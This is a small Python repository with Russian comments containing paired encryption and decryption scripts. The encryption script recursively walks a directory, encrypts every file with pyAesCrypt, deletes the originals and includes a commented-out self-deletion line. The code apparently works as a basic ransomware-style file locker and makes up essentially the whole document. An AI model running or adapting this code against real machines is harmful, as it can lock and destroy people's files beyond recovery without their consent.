├── .gitignore ├── decryption.py └── encryption.py /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | *.pyc 3 | venvPyEncr/ 4 | -------------------------------------------------------------------------------- /decryption.py: -------------------------------------------------------------------------------- 1 | import pyAesCrypt 2 | import os 3 | import sys 4 | 5 | # функция дешифровки файла 6 | def decryption(file, password): 7 | 8 | # задаём размер буфера 9 | buffer_size = 512 * 1024 10 | 11 | # вызываем метод расшифровки 12 | pyAesCrypt.decryptFile( 13 | str(file), 14 | str(os.path.splitext(file)[0]), 15 | password, 16 | buffer_size 17 | ) 18 | 19 | # чтобы видеть результат выводим на печать имя зашифрованного файла 20 | print("[Файл '" + str(os.path.splitext(file)[0]) + "' дешифрован]") 21 | 22 | # удаляем исходный файл 23 | os.remove(file) 24 | 25 | # функция сканирования директорий 26 | def walking_by_dirs(dir, password): 27 | 28 | # перебираем все поддиректории в указанной директории 29 | for name in os.listdir(dir): 30 | path = os.path.join(dir, name) 31 | 32 | # если находим файл, то дешифруем его 33 | if os.path.isfile(path): 34 | try: 35 | decryption(path, password) 36 | except Exception as ex: 37 | print(ex) 38 | # если находим директорию, то повторяем цикл в поисках файлов 39 | else: 40 | walking_by_dirs(path, password) 41 | 42 | 43 | password = input("Введите пароль для расшифровки: ") 44 | walking_by_dirs("path", password) 45 | # os.remove(str(sys.argv[0])) 46 | -------------------------------------------------------------------------------- /encryption.py: -------------------------------------------------------------------------------- 1 | import pyAesCrypt 2 | import os 3 | import sys 4 | 5 | 6 | # функция шифрования файла 7 | def encryption(file, password): 8 | 9 | # задаём размер буфера 10 | buffer_size = 512 * 1024 11 | 12 | # вызываем метод шифрования 13 | pyAesCrypt.encryptFile( 14 | str(file), 15 | str(file) + ".crp", 16 | password, 17 | buffer_size 18 | ) 19 | 20 | # чтобы видеть результат выводим на печать имя зашифрованного файла 21 | print("[Файл '" + str(os.path.splitext(file)[0]) + "' зашифрован]") 22 | 23 | # удаляем исходный файл 24 | os.remove(file) 25 | 26 | # функция сканирования директорий 27 | def walking_by_dirs(dir, password): 28 | 29 | # перебираем все поддиректории в указанной директории 30 | for name in os.listdir(dir): 31 | path = os.path.join(dir, name) 32 | 33 | # если находим файл, то шифруем его 34 | if os.path.isfile(path): 35 | try: 36 | encryption(path, password) 37 | except Exception as ex: 38 | print(ex) 39 | # если находим директорию, то повторяем цикл в поисках файлов 40 | else: 41 | walking_by_dirs(path, password) 42 | 43 | 44 | password = input("Введите пароль для шифрования: ") 45 | walking_by_dirs("path", password) 46 | # os.remove(str(sys.argv[0])) 47 | 48 | --------------------------------------------------------------------------------